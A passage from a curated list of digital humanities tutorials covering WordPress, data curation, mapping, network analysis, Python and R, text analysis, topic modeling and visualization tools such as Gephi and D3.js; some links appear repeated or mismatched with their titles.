- Joshua Beckman, ["Naked Wordpress"](http://bckmn.com/naked-wordpress/) (2013) ("commented WordPress theme" created to allow users to learn (and improvise on) the basic component .php files that create and style a WordPress site: index.php, header, footer, sidebar, home page, page, css, etc.)
- Benjamin Intal, ["Proper WordPress Filesystem Permissions And Ownerships"](http://bckmn.com/naked-wordpress/) (2014)
- Robert Mening, ["How to Create a Blog"](http://websitesetup.org/create-blog/) (tutorial for setting up a Wordpress blog)
## Curation Tutorials (and Guides to Citing Datasets)
- [DH Curation Guide](http://guide.dhcuration.org/) ("a community resource guide to data curation in the digital humanities" offering "concise, expert introductions to key topics, including annotated links to important standards, articles, projects, and other resources")
- Joan Fragaszy Troyano, Guide to Curating Scholarship from the Open Web (2014), [Parts I](http://pressforward.org/guide-to-curating-scholarship-part-1/), II, [III](http://pressforward.org/guide-to-curating-scholarship-part-1/), [IV](http://pressforward.org/guide-to-curating-scholarship-part-1/)
Alex Ball and Monica Duke, ["How to Cite Datasets and Link to Publications"](http://www.dcc.ac.uk/resources/how-guides/cite-datasets) (2011)
## Data Science Tutorials
- Martin Heller, ["Machine Learning Algorithms Explained"](https://www.infoworld.com/article/3394399/machine-learning-algorithms-explained.html) (2019)
## Digitization Tutorials
- Stephanie Routhier Perry, ["Digitization and Digital Preservation: A Review of the Literature"](http://scholarworks.sjsu.edu/cgi/viewcontent.cgi?article=1170&context=slissrj) (2014) (not a tutorial per se; but a useful introduction to concepts, methods, techniques for digitizing resources)
## Linked Data Tutorials
- Christian Bizer, Tom Heath, and Tim Berners-Lee, ["Linked Data: The Story So Far"[PDF]](http://scholarworks.sjsu.edu/cgi/viewcontent.cgi?article=1170&context=slissrj) (2009)
## Mapping Tutorials ([see Mapping Tools](http://scholarworks.sjsu.edu/cgi/viewcontent.cgi?article=1170&context=slissrj))
- [Geospatial Historian](http://scholarworks.sjsu.edu/cgi/viewcontent.cgi?article=1170&context=slissrj) ("tutorial-based open access textbook . . . designed to teach humanists practical digital mapping and GIS skills that are immediately useful to real research needs")
- Institute for Enabling Geospatial Scholarship, [Spatial Humanities](http://scholarworks.sjsu.edu/cgi/viewcontent.cgi?article=1170&context=slissrj)
- ["What is the Spatial Turn?"](http://scholarworks.sjsu.edu/cgi/viewcontent.cgi?article=1170&context=slissrj)
- ["Spatial Humanities: Step-By-Step"](http://scholarworks.sjsu.edu/cgi/viewcontent.cgi?article=1170&context=slissrj)
- [A Literary Atlas of Europe: Mapping and Analyzing the Geography of Fiction with Interactive Tools](http://www.literaturatlas.eu/?lang=en) (articles "towards a geography of fiction")
- Spatial History Project,
- ["Introduction to commonly-used spatial history tools"](http://spatialhistory.wordpress.com/2013/08/14/introduction-to-commonly-used-spatial-history-tools/) (2013)
- ["Working with Excel [to prepare data for mapping work]"](http://spatialhistory.wordpress.com/2013/07/17/working-with-excel/) (2013)
- ["Using Excel Spreadsheets in ArcGIS: helpful tips"](http://spatialhistory.wordpress.com/2013/07/16/using-excel-spreadsheets-in-arcgis-helpful-tips/) (2013)
- ["Tableau: The Basics"](http://spatialhistory.wordpress.com/2013/07/16/using-excel-spreadsheets-in-arcgis-helpful-tips/) (2013)
- ["Georeferencing Historic Maps: Going Further"](http://spatialhistory.wordpress.com/2013/08/14/georeferencing-historic-maps-going-further/) (2013)
- History Blogger, ["Tutorial on Juxtaposing Historical & Modern Images"](http://historyblogger.net/2014/09/27/tutorial-on-juxtaposing-historical-modern-images/) (2014) (tutorial for overlaying historical photos or paintings of a location over the current Google Street View image of the same location)
- Noah Huffman, ["Mapping the Broadsides Collection, or, How to Man Interactive Map in 30 Minutes or Less"](https://blogs.library.duke.edu/bitstreams/2014/05/16/mapping-the-broadsides-collection-or-how-to-make-an-interactive-map-in-30-minutes-or-less/) (tutorial on creating a map with Google Fusion Tables) (2014)
- Brian Sarnacki, ["The Complete n00b's Guide to Mapping in R"](http://www.briansarnacki.com/n00bs-guide-to-mapping-in-r/) (2014)
- U. Redlands Center for Spatial Studies, ["Flow and Movement"](http://www.briansarnacki.com/n00bs-guide-to-mapping-in-r/) (2013) (explanation of some main types of spatial mappings, including point-to-point, networks, branching, and fields)
## Network Analysis Tutorials (see [Network Analysis/Social Network Analysis Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-network-analysis)) (see also [Visualization: Network Visualization Tutorials](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-network-analysis-))
- [Çatalhöyük Living Archive tutorial on networks]() (Interactive tutorial on a trimodal network graph of people, groups, and documents network based on the analysis of a Neolithic settlement)
- Marten Düring, ["Social Network Analysis for Humanists Cheat Sheet"](https://docs.google.com/document/d/1RLfIZ2cHdt9wY0oVr2p4rY_oHzmbs1EC6BHJK8_5_ns/mobilebasic) (2015)
- David K. Elson, Nicholas Dames, and Kathleen R. McKeon, ["Extracting Social Networks from Literary Fiction" [PDF]](http://www1.cs.columbia.edu/~delson/pubs/ACL2010-ElsonDamesMcKeown.pdf(2010)
- Robert A. Hanneman and Mark Riddle, [Introduction to Social Network Methods](http://faculty.ucr.edu/~hanneman/nettext/) ("on-line textbook introduces many of the basics of formal approaches to the analysis of social networks")
- [HistoricalNetworkResearch.org](http://faculty.ucr.edu/~hanneman/nettext/) (includes bibliograpym resources)
- Shamanth Kumar, Fred Morstatter, and Huan Liu, [Twitter Data Analytics](http://faculty.ucr.edu/~hanneman/nettext/) ("This book takes a reader through the process of harnessing Twitter data to find answers to intriguing questions. We begin with an introduction to the process of collecting data through Twitter's APIs and proceed to discuss strategies for curating large datasets. We then guide the reader through the process of visualizing Twitter data with realworld examples")
- Elijah Meeks
- [Instructional Tutorials and Resources from course on "Network Analysis and Visualization"](https://www.dropbox.com/s/xljupy90ypo5929/Network%20Analysis%20Coursepack.pdf) (PDF) (2014)
- ["Introduction to Network Analysis and Representation"](https://www.dropbox.com/s/xljupy90ypo5929/Network%20Analysis%20Coursepack.pdf) (interactive tutorial in which explanations are accompanied by examples of network visualizations that can be selected on demand; "This interactive application is designed to provide an overview of various network analysis principles used for analysis and representation. It also provides a few examples of untraditional networks used in digital humanities scholarship. Finally, along with the various methods described interactively here are links to related scholarship.... Each network type is listed in the Models section, and can be paired with an analysis or representation method by simply clicking on a network type to load a new network, and then clicking on an analysis or visualization method")
- Katya Ognyanova, ["Network visualization with R"](http://kateto.net/network-visualization?utm_content=buffer7570b&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer) (2016)
- Ernesto Priego, ["Some Thoughts on Why You Would Like to Archive and Share [Small] Twitter Data Sets"](http://epriego.wordpress.com/2014/05/28/some-thoughts-why-you-would-like-to-archive-and-share-twitter-small-data/) (2014)
- **Twitter Analysis Tutorials**
- [Methods and Tools for Building Collections of Social Media](https://docs.google.com/presentation/d/1nr2jTwvM_xghmZZC6M-7Oyaozx3mj-ropkqe6gI2tnw/pub?start=false&loop=false&delayms=3000#slide=id.g6995778e8_00) (slides from MITH Teach-in - Researching Ferguson Session II, 2015)
- Adil Moujahid, ["An Introduction to Text Mining using Twitter Streaming API and Python"](https://docs.google.com/presentation/d/1nr2jTwvM_xghmZZC6M-7Oyaozx3mj-ropkqe6gI2tnw/pub?start=false&loop=false&delayms=3000#slide=id.g6995778e8_00) (2014)
## Programming Languages Tutorials (programming/scripting languages used to facilitate as text and data analysis, collection, preparation, etc.) (see [Programming Languages Tools & Resources](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-programming-languages))
- ["Basic Unix-like Command Line Tutorial"](http://pgbovine.net/command-line-tutorial.htm) (three 9-minute video tutorials by Philip Guo) (2014)
- **Python Tutorials** (see [Python Tools & Resources](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-python))
- Python.org
- ["Python for Beginners"](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-python)
- [The Python Tutorial](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-python)
- [Audio/Video Instructional Materials for Python](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-python)
- CodeAcademy, [Python Tutorial](http://learnpython.org/)
- Na-Rae Han, ["Python 2.7 Tutorial"](http://learnpython.org/)
- Elliott Hauser, ["Why Python is a Great First Language"](http://blog.trinket.io/why-python/) (2014)
- Folgert Karsdorp, ["Python Programming for the Humanities"](http://fbkarsdorp.github.io/python-course/) ("Interactive tutorial and introduction into programming with Python for the humanities")
- LearnPython.org, [Tutorial on Python](http://learnpython.org/)
- [Online Python Tutorial](http://pythontutor.com/) (created by Philip Guo)
- Programming Historian, ["Python Introduction and Installation"](http://programminghistorian.org/lessons/introduction-and-installation) (2012)
- Stéfan Sinclair & Geoffrey Rockwell, [Python for Literary Analysis](https://github.com/sgsinclair/alta/blob/master/ipynb/Python.ipynb) (tutorial in form of iPython notebook allowing for hands-on exercises)
- Thomas Wiecki, ["A modern guide to getting started with Data Science and Python"](https://twiecki.io/blog/2014/11/18/python-for-data-science/) (2014)
- "R" Tutorials (see ["R" Tools & Resources](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-r))
- Jonathan Callahan, [Installing 'Packages' in R](http://mazamascience.com/WorkingWithData/?p=728) (2011)
- Anthony Damico, ["How to Do Stuff in R: Two Minutes or Less"](http://www.twotorials.com/?m=1) (video screencasts)
- [DataCamp online, interactive environment for learning R](http://www.twotorials.com/?m=1)
- "Andrew," ["Text Mining the Complete Works of William Shakespeare"](http://www.r-bloggers.com/text-mining-the-complete-works-of-william-shakespeare/) (2013) (step-by-step example of getting texts from Project Gutenberg, cleaning it, and analyzing it in R)
- Fred Gibbs, ["Document Similarity with R"](http://fredgibbs.net/blog/tutorials/document-similarity-with-r/) (2013) ("provides a skeletal recipe for reading a set of texts (a corpus) through the statistical software R")
- Matthew L. Jockers, [Text Analysis with R for Students of Literature [PDF]](http://www.matthewjockers.net/2013/09/03/tawr/) (2013) (downloadable draft of whole book)
- Lincoln Mullen, [Digital History Methods in R](http://dh-r.lincolnmullen.com/)
- Brian Sarnacki, ["The Complete n00b's Guide to Mapping in R"](http://www.briansarnacki.com/n00bs-guide-to-mapping-in-r/) (2014)
- Graham Williams, ["Hands-On Data Science with R Text Mining"](http://www.briansarnacki.com/n00bs-guide-to-mapping-in-r/) [PDF] (2014)
- [Cheat Sheet for RStudio Data Wrangling with dplyr and tidyr](http://www.briansarnacki.com/n00bs-guide-to-mapping-in-r/)
## Simulation Tutorials (see [Simulation Tools](http://www.briansarnacki.com/n00bs-guide-to-mapping-in-r/))
- Michael Gavin, ["Agent Based Modeling and Historical Simulation"](http://www.briansarnacki.com/n00bs-guide-to-mapping-in-r/) (2013)
## Text Analysis Tutorials (complemented by [Text Preparation for Digital Work Tutorials below](http://www.briansarnacki.com/n00bs-guide-to-mapping-in-r/)) (see [Text Analysis Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-text-analysis))
- **General or Overview Text Analysis Tutorials**
- Teddy Roland, [Text Analysis for Humanities Research](https://github.com/teddyroland/Text-Analysis-for-Humanities-Research) (set of tutorials in interactive iPython notebooks on using Python 3.5 and NLTK [Natural Language Toolkit])
- [Intro to NLTK](https://github.com/teddyroland/Text-Analysis-for-Humanities-Research/tree/master/01-Intro%20to%20NLTK)
- [Geographic Imagination](https://github.com/teddyroland/Text-Analysis-for-Humanities-Research/tree/master/02-Geographic%20Imagination)
- [Literary Patterns (Probably)](<https://github.com/teddyroland/Text-Analysis-for-Humanities-Research/tree/master/03-Literary%20Patterns%20(Probably)>)
- [Operationalizing](https://github.com/teddyroland/Text-Analysis-for-Humanities-Research/tree/master/04-Operationalizing)
- [Readings](https://github.com/teddyroland/Text-Analysis-for-Humanities-Research/tree/master/Readings)
- Stéfan Sinclair, [The Art of Literary Text Analysis](http://nbviewer.ipython.org/github/sgsinclair/alta/blob/master/ipynb/ArtOfLiteraryTextAnalysis.ipynb) (set of tutorials in interactive iPython notebooks). Sections include:
- First Encounters (basics for working with iPython Notebooks and digital texts:
- [Getting Setup](http://nbviewer.ipython.org/github/sgsinclair/alta/blob/master/ipynb/GettingSetup.ipynb) (installing and setting up iPython Notebooks)
- [Getting Started](http://nbviewer.ipython.org/github/sgsinclair/alta/blob/master/ipynb/GettingStarted.ipynb) (introducing core iPython Notebooks concepts)
- [Getting Texts](http://nbviewer.ipython.org/github/sgsinclair/alta/blob/master/ipynb/GettingTexts.ipynb) (an example of acquiring digital texts)
- [Getting NLTK](http://nbviewer.ipython.org/github/sgsinclair/alta/blob/master/ipynb/GettingNltk.ipynb) (foundations for text processing using the Natural Language Toolkit)
- [Getting Graphical](http://nbviewer.ipython.org/github/sgsinclair/alta/blob/master/ipynb/GettingGraphical.ipynb) (foundations for visualizing data)
- Close Encounters (in progress)
- [Searching For Meaning](http://nbviewer.ipython.org/github/sgsinclair/alta/blob/master/ipynb/SearchingMeaning.ipynb) (strategies for searching for word forms and word meanings, especially using WordNet)
- [Parts of Speech](http://4humanities.org/contest/) (introduces the concept of part-of-speech tagging as an additional way of processing texts)
- Distant Encounters (in progress)
- Ted Underwood, ["Where to Start with Text Mining?"](http://tedunderwood.com/2012/08/14/where-to-start-with-text-mining/) (2012)
- Sue Atkins, Jeremy Clear, and Nicholas Ostler, ["Corpus Design Criteria" [PDF]](http://www.natcorp.ox.ac.uk/archive/vault/tgaw02.pdf) (1991)
- Steven Bird, Ewan Klein, and Edward Loper, [Natural Language Processing: Analyzing Text with the Natural Language Toolkit](http://www.nltk.org/book/) (NLTK)
- Shawn Graham, ["Setting up Your Own Data Refinery"](http://electricarchaeology.ca/2014/07/03/setting-up-your-own-data-refinery/) (guide to setting up local installations of [Voyant Tools](http://docs.voyant-tools.org/run-your-own/voyant-server/), [Overview](http://docs.voyant-tools.org/run-your-own/voyant-server/), and [RAW](http://raw.densitydesign.org/) to create a text-analysis workflow; especially oriented toward getting such a "data refinery" set up on a Mac computer) (2014)
- M-N. Lamy and H. J. Klarskov Mortensen, ["Using Concordance Programs in the Modern Foreign Languages Classroom"](http://www.ict4lt.org/en/en_mod2-4.htm)(2012) (includes links to concordance programs)
- Michelle Moravec,, ["How to Use Stanford's NER and Extract Results"](http://historyinthecity.blogspot.com/2014/06/how-to-use-stanfords-ner-and-extract.html) (2014)
- Peter Organisciak and Boris Capitanu (in Programming Historian), ["Text Mining in Python through the HTRC Feature Reader"](http://programminghistorian.org/lessons/text-mining-with-extracted-features) (2016) ("We introduce a toolkit for working with the 13.6 million volume Extracted Features Dataset from the HathiTrust Research Center. You will learn how to peer at the words and trends of any book in the collection, while developing broadly useful Python data analysis skills")
- Miriam Posner, ["Investigating texts with Voyant"](https://github.com/miriamposner/voyant-workshop/blob/master/investigating-texts-with-voyant.md) (2019)
- Geoffrey Rockwell, ["Introduction to Voyant"](http://philosophi.ca/pmwiki.php/Main/IntroductionToVoyant) (2016)
- Norbert Ryciak, ["Text mining in R – Automatic categorization of Wikipedia articles"](http://www.r-bloggers.com/text-mining-in-r-automatic-categorization-of-wikipedia-articles/) (2014)
- Pedagogy Toolkit [tutorial](http://pedagogy-toolkit.org/tools/VoyantTools.html) with tips and examples for classroom use of Voyant Tools.
- Wheaton College, ["How to Read a Dendogram"](http://ttp//wheatoncollege.edu/lexomics/files/2012/08/How-to-Read-a-Dendrogram-Web-Ready.pdf) (PDF)
- Related areas:
- Concordance Program Tutorials (see [Concordance Programs](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-concordance))
- Heather Froehlich, ["Getting Started with AntConc"](http://hfroehlich.wordpress.com/workshops/getting-started-with-antconc/)
- Corpus Linguistics Tutorials (see [Corpus Linguistics Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-corpus-linguistics))
- Language in Conflict, ["Corpus Linguistics"](http://languageinconflict.org/how-language-is-studied/corpus-linguistics.html) (brief introduction to the field and major concepts)
- Data Science & Machine Learning Tutorials
- Trey Causey, ["Getting started in Data Science: My Thoughts"](http://treycausey.com/getting_started.html)
- Adam Geitgey, ["Machine Learning is Fun! The world’s Easiest Introduction to Machine Learning"](https://medium.com/@ageitgey/machine-learning-is-fun-80ea3ec3c471) (2014)
- Named Entity Recognition (NER) Tutorials (see [NER Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-ner))
- Michelle Moravec, ["How to Use Stanford's NER and Extract Results"](http://historyinthecity.blogspot.com/2014/06/how-to-use-stanfords-ner-and-extract.html) (2014)
## Text Collation Tutorials (see [Text Collation Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-text-collation))
- Wesley Raabe, ["Collation in Scholarly Editing: An Introduction"](http://wraabe.wordpress.com/2008/07/26/collation-in-scholarly-editing-an-introduction-draft/) (2008)
- Juxta:
- [Juxta Commons User Guide](http://www.juxtacommons.org/guide)
- [Juxta Software User Manual](https://github.com/performant-software/juxta-desktop/wiki/UserManual)
- [Juxta Blog](http://www.juxtasoftware.org/)
- Jade Werner, [Juxta Desktop, Juxta Commons"](http://cscdc.northwestern.edu/blog/?p=776) (2013)
## Text Encoding Tutorials (see [Text Encoding Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-text-encoding))
- **HTML & CSS Tutorials**
- CodeAcademy, ["HTML & CSS for Beginners"](http://www.codecademy.com/tracks/htmlcss)
- Shay Howe, ["A Beginner’s Guide to HTML & CSS"](http://learn.shayhowe.com/html-css/)
- W3Schools.com, ["HTML Tutorial"](http://www.w3schools.com/html/default.asp)
- [cssreference.io](http://cssreference.io/) ("Learn by example: cssreference.io is a free visual guide to CSS. It features the most popular properties, and explains them with illustrated and animated examples")
- **TEI Text Encoding Tutorials**
- Syd Bauman and Julia Flanders, ["Resources for Teaching and Learning Text Encoding"](http://www.wwp.brown.edu/outreach/resources.html)
- James Cummings, ["The Text Encoding Initiative and the Study of Literature"](http://www.digitalhumanities.org/companion/view?docId=blackwell/9781405148641/9781405148641.xml&chunk.id=ss1-6-6) (2008)
- Text Encoding Inititiative, ["TEI By Example"](https://teibyexample.org/)
## Text Preparation for Digital Work Tutorials (Text & Data "Wrangling": text harvesting, scraping, cleaning, classifying) (see Text Preparation Tools)
- Amit Agarwal, ["How to Scrape Google with Google Sheets"](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244469/Data%20Collections%20and%20Datasets) (2014)
- Fred Gibbs, ["Cleaning Bad OCR with Regular Expressions and Python"](http://www.fredgibbs.net/clio3workspace/blog/cleaning-bad-ocr-with-regular-expressions-and-python/) (2012)
- Shawn Graham, ["A Gentle Introduction to Regular Expressions"](https://github.com/hist3907b-winter2015/module3-wranglingdata/blob/master/regex.md) (2015)
- Kellen Kurschinski, ["Applied Archival Downloading with Wget"](https://github.com/hist3907b-winter2015/module3-wranglingdata/blob/master/regex.md) (2013) ("learn how to systematically download material from online archives with wget & Python")
- W. Caleb McDaniel
- ["Data Mining the Internet Archive Collection"](http://programminghistorian.org/lessons/data-mining-the-internet-archive) (2014) ("The collections of the Internet Archive (IA) include many digitized sources of interest to historians, including early JSTOR journal content .... In this lesson, you’ll learn how to download files from such collections using a Python module specifically designed for the Internet Archive. You will also learn how to use another Python module designed for parsing MARC XML records, a widely used standard for formatting bibliographic metadata")
- ["Mining the BPL Anti-Slavery Collection on the Internet Archive"](http://wcm1.web.rice.edu/mining-bpl-antislavery.html) (2013) (detailed guide and examples for harvesting/downloading files and metadata from a collection in the Internet Archive)
- Greg Reda, ["Useful Unix Commands for Data Science"](http://www.gregreda.com/2013/07/15/unix-commands-for-data-science/) (2013)
- Stéfan Sinclair, [Getting Texts](http://www.regexr.com/) (interactive iPython notebook tutorial), part of [The Art of Literary Text Analysis](http://nbviewer.ipython.org/github/sgsinclair/alta/blob/master/ipynb/ArtOfLiteraryTextAnalysis.ipynb) set of tutorials)
- **Regular Expressions Tutorials**
- [RegExr](http://www.regexr.com/) ("online tool to learn, build, and test Regular Expressions -- RegEx / RegExp. Results update in real-time as you type. Roll over a match or expression for details. Save & share expressions with others. Explore the Library for help & example")
- ["Regular Expressions Cheat Sheet"](http://web.mit.edu/hackl/www/lab/turkshop/slides/regex-cheatsheet.pdf) (MIT)
- [Regular Expressions Primer](http://docs.activestate.com/komodo/4.4/regex-intro.html) ("tutorial for those completely new to regular expressions")
- [School of Data Modules on Data Cleaning and Extraction](http://schoolofdata.org/courses/#GentleIntroExtractingData)
- Zed A. Shaw, [Learning Python the Hard Way](http://learnpythonthehardway.org/book/), 3rd ed. (2010)
- Stackoverflow
- ["Strip HTML from strings in Python"](http://stackoverflow.com/questions/753052/strip-html-from-strings-in-python)
- ["Selenium: How to get plain text from html source?"](http://stackoverflow.com/questions/14748692/selenium-how-to-get-plain-text-from-html-source)
- John Myles White, ["Data Wrangling"](http://compsocialscience.org/2013/04/lecture-9-data-wrangling/) (2013) (slides for guest lecture on bulk downloads, API access, and Web-scraping in a Columbia Univ., course on ["Computational Social Science"](http://compsocialscience.org/syllabus/?utm_content=buffer2872e&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer))
## Topic Modeling Tutorials (see [Topic Modeling Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-topic-modeling))
- David M. Blei, ["Topic Modeling and Digital Humanities"](http://journalofdigitalhumanities.org/2-1/topic-modeling-and-digital-humanities-by-david-m-blei/) (2012)
- Megan R. Brett, ["Topic Modeling: A Basic Introduction"](http://journalofdigitalhumanities.org/2-1/topic-modeling-a-basic-introduction-by-megan-r-brett/) (2012)
- Shawn Graham, Ian Milligan, Scott Weingart, The Historian's Macroscope - working title. Under contract with Imperial College Press. Open Draft Version (Autumn 2013):
- ["On Topic Modeling"](http://www.themacroscope.org/?page_id=113)
- ["Topic Modeling By Hand"](http://www.themacroscope.org/?page_id=47)
- ["Topic Modeling with Paper Machines"](http://www.themacroscope.org/?page_id=60)
- ["Topic Modeling with R"](http://www.themacroscope.org/?page_id=67)
- ["Slicing a Topic Model"](http://www.themacroscope.org/?page_id=429) ("The Stanford Topic Modeling Toolbox allows us to ‘slice’ a model to show its evolution over time, and its contribution to the corpus as a whole")
- Matt Burton,["The Joy of Topic Modeling"](http://mcburton.net/blog/joy-of-tm/) (2013)
- Bugra Akyildiz, ["Topic Modeling for the Uninitiated"](http://bugra.github.io/work/notes/2015-02-21/topic-modeling-for-the-uninitiated/) (2015)
- Mallet Project [Tutorials](http://mallet.cs.umass.edu/index.php) (on [importing data](http://mallet.cs.umass.edu/import.php), [classification](http://mallet.cs.umass.edu/classification.php), [sequence tagging](http://mallet.cs.umass.edu/sequences.php), [topic modeling](http://mallet.cs.umass.edu/topics.php), [optimization](http://mallet.cs.umass.edu/optimization.php)) | See also Mallet tutorial on ["Topic Modeling - Multiple Languages"](http://mallet.cs.umass.edu/topics-polylingual.php)
- Shawn Graham and Ian Milligan, ["Review of MALLET, produced by Andrew Kachites McCallum"](http://journalofdigitalhumanities.org/2-1/review-mallet-by-ian-milligan-and-shawn-graham/) (2012) -- includes help resources
- ["Mallet Options Grouped"](https://github.com/mcburton/dissertation/wiki/mallet)
- Shawn Graham, ["Using Goldstone’s Topic Modeling R package with JSTOR’s Data for Research"](http://electricarchaeology.ca/2014/06/11/using-goldstones-topic-modeling-r-package-with-jstors-data-for-research/) (2014)
- Peter Organisciak, [Step-by-step instructions for using MALLET and R to topic model a single book](https://github.com/organisciak/htrc-book-models) (2014)
- Miriam Posner, ["Very basic strategies for interpreting results from the Topic Modeling Tool"](http://miriamposner.com/blog/very-basic-strategies-for-interpreting-results-from-the-topic-modeling-tool/) (2012)
- Scott Weingart, ["Topic Modeling for Humanists: A Guided Tour"](http://www.scottbot.net/HIAL/?p=19113) (2012)
## Visualization Tutorials (see [Visualization Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-visualization))
- **Data Visualization Tutorials**
- **General Intros to Data Viz**
- Daniel Evanko, ["Data Visualization"](http://blogs.nature.com/methagora/2013/07/data-visualization-points-of-view.html) (2013) ("guide to . . . trove of practical advice on visualizing scientific data")
- Jeffrey Heer, ["A Tour Through the Visualization Zoo"](http://hci.stanford.edu/jheer/files/zoo/)
- Clement Levallois, [What is Dataviz?](http://www.clementlevallois.net/download/dataviz_booklet.pdf) (2013) ("A brief introduction in 7 pages to data visualization, with essential references to get you started")
- Hou Ieong Ho and Shih-Pei Chen, [Visualization for Digital Humanists](http://dhumanities.appspot.com/#whatIsThis) (modular, step-by-step lessons in creating a variety of types of data visualization created by "two computer scientists interested in helping humanists take full advantage of information technologies." Click on the images of visualization types to call up the lessons.)
- Brian Voo, ["30 Cheatsheets & Infographics For Graphic Designers"](http://www.hongkiat.com/blog/cheatsheet-graphic-designers/) (2013)
- **D3.js Tutorials**
- D3js.org, [Overview of D3 (Data-Driven Documents)](http://d3js.org/)
- Dashing D3.js, [D3.js Tutorial](https://www.dashingd3js.com/table-of-contents)
- Scott Murray, [D3 Tutorials](http://alignedleft.com/tutorials/d3/)
- Christophe Viau, [D3 Tutorial](http://christopheviau.com/d3_tutorial/)
- Scott Murray, ["Made with D3.js"](http://visualizing.org/galleries/made-d3js) (curated gallery of example projects made with D3.js) (2013)
- **ImageJ Tutorials**
- Lev Manovich, ["Guide to Visualizing Video and Image Sequences"](https://docs.google.com/document/d/1PqSZmKwQwSIFrbmVi-evbStTbt7PrtsxNgC3W1oY5C4/edit) (2012)
- **Palladio Tutorials**
- Clare Jensen, Kaitlyn Sisk, and Aaron Braunstein, ["Using Palladio to Visualize Ads"](http://ricedh.github.io/01-palladio.html) (2014) (example of using [Palladio](http://palladio.designhumanities.org/) that functions as a tutorial)
- **Network Visualization Tutorials** (see [Network Visualization Tools](http://dhresourcesforprojectbuilding.pbworks.com/w/page/69244319/Digital%20Humanities%20Tools#tools-visualization-network-visualization-tools))
- Hawksey, Simon, ["Twitter: How to Archive Event Hashtags and Create an Interactive Visualization of the Conversation"](http://dhresourcesforprojectbuilding.pbworks.com/%22Twitter%3A-How-to-Archive-Event-Hashtags-and-Create-an-Interactive-Visualization-of-the-Conversation%22) (2011)
- Clement Levallois, ["Network Visualizations - How To and Why"](http://www.clementlevallois.net/download/networkvisualization.pdf) [slides in PDF format]
- Linkurious, [Graph Viz 101](http://linkurio.us/graph-viz-101/) (tutorial series of 10 blog posts on network graph visualization)
- Elijah Meeks and Maya Krishnan, ["Introduction to Network Analysis and Representation"](http://dhs.stanford.edu/dh/networks/) ("interactive application ... designed to provide an overview of various network analysis principles used for analysis and representation.... links to related scholarship")
- Lisa Rhody, ["NodeXL: Social Network Analysis for Scholars"](http://chronicle.com.proxy.library.ucsb.edu:2048/blogs/profhacker/nodexl-part1/47621) (2013)
- **Gephi Tutorials**
- Par Martin Grandjean
- ["Introduction to Network Visualization with GEPHI"](http://www.martingrandjean.ch/introduction-to-network-visualization-gephi/) (2013)
- ["Facebook Friends Network Mapping: A Gephi Tutorial"](http://pegasusdata.com/2013/01/10/facebook-friends-network-mapping-a-gephi-tutorial/) (2013)
- Simon Hooton, ["Untangling the Ridiculogram"](http://aidcomplexity.blogs.casa.ucl.ac.uk/2014/06/05/untangling-the-ridiculogram/) (2014) (step-by-step tutorial for optimizing and massaging Gephi visualizations for improved comprehension)
- Clement Levallois,
- [Gephi tutorials maintained by Clément Levallois](http://aidcomplexity.blogs.casa.ucl.ac.uk/2014/06/05/untangling-the-ridiculogram/) (2017) (open, multi-language tutorials available in Web-page PDF, slides and ebook format; also downloadable as zip or tar files)
- [Curated List of Gephi Tutorials](http://exploreyourdata.wordpress.com/2013/07/29/gephi-curated-list-of-tutorials/) (2013)
- ["Gephi – The Possibilities of a Data Visualization Platform"](http://exploreyourdata.wordpress.com/2013/07/16/gephi-the-possibilities-of-a-data-visualization-platform/) (2013)
- "[Gephi: A Tutorial for Beginners"](http://www.clementlevallois.net/gephi/tuto/gephi_tutorial.pdf) [slides in PDF format]
- ["Gephi: A Tutorial to Visualize Dynamic Networks"](http://www.clementlevallois.net/gephi/tuto/gephi_tutorial_dynamics.pdf) [slides in PDF format]
- ["Gephi Cheat Sheets"](http://www.clementlevallois.net/gephi/tuto/gephi_cheatsheets.pdf) [PDF]
- Jill Walker Rettberg, ["Tutorial: How to Explore a Network Graph of Electronic Literature in Gephi"](http://jilltxt.net/?p=3730) (2013)
- Liz Shayne, ["Sefaria in Gephi: Seeing Links in Jewish Literature"](http://ludicanalytics.wordpress.com/2014/06/17/sefaria_in_gephi/) (2014) (report on a research project that also serves as a de facto tutorial on using Gephi for humanities work and making its visualizations more analytically useful and comprehensible)
- "willtdean", ["Basic Gephi Tutorial"](http://dh.prattsils.org/skillshare/2013/04/24/basic-gephi-tutorial/) (video tutorial) (2013)
- [Instructions for installing Gephi on a Mac computer](https://github.com/gephi/gephi/issues/748#issuecomment-42905181)
- Mathieu Jacomy, et al., ["ForceAtlas2, a Continuous Graph Layout Algorithm for Handy Network Visualization Designed for the Gephi Software"](http://www.plosone.org/article/info:doi/10.1371/journal.pone.0098679) (2014) (explanation in technical detail of the assumptions and algorithms of the Gephi ForceAtlas2 visualization layout)
- **Sample Datasets for Learning Gephi**
- [Sample datasets for experimenting with Gephi](https://dl.dropboxusercontent.com/u/492930/su14tmn/networks-lab.zip) (Northeastern U.; zip file)
- [Sample datasets for experiment with Gephi](http://www.nationalatlas.gov/atlasftp.html) (Stanford U.)
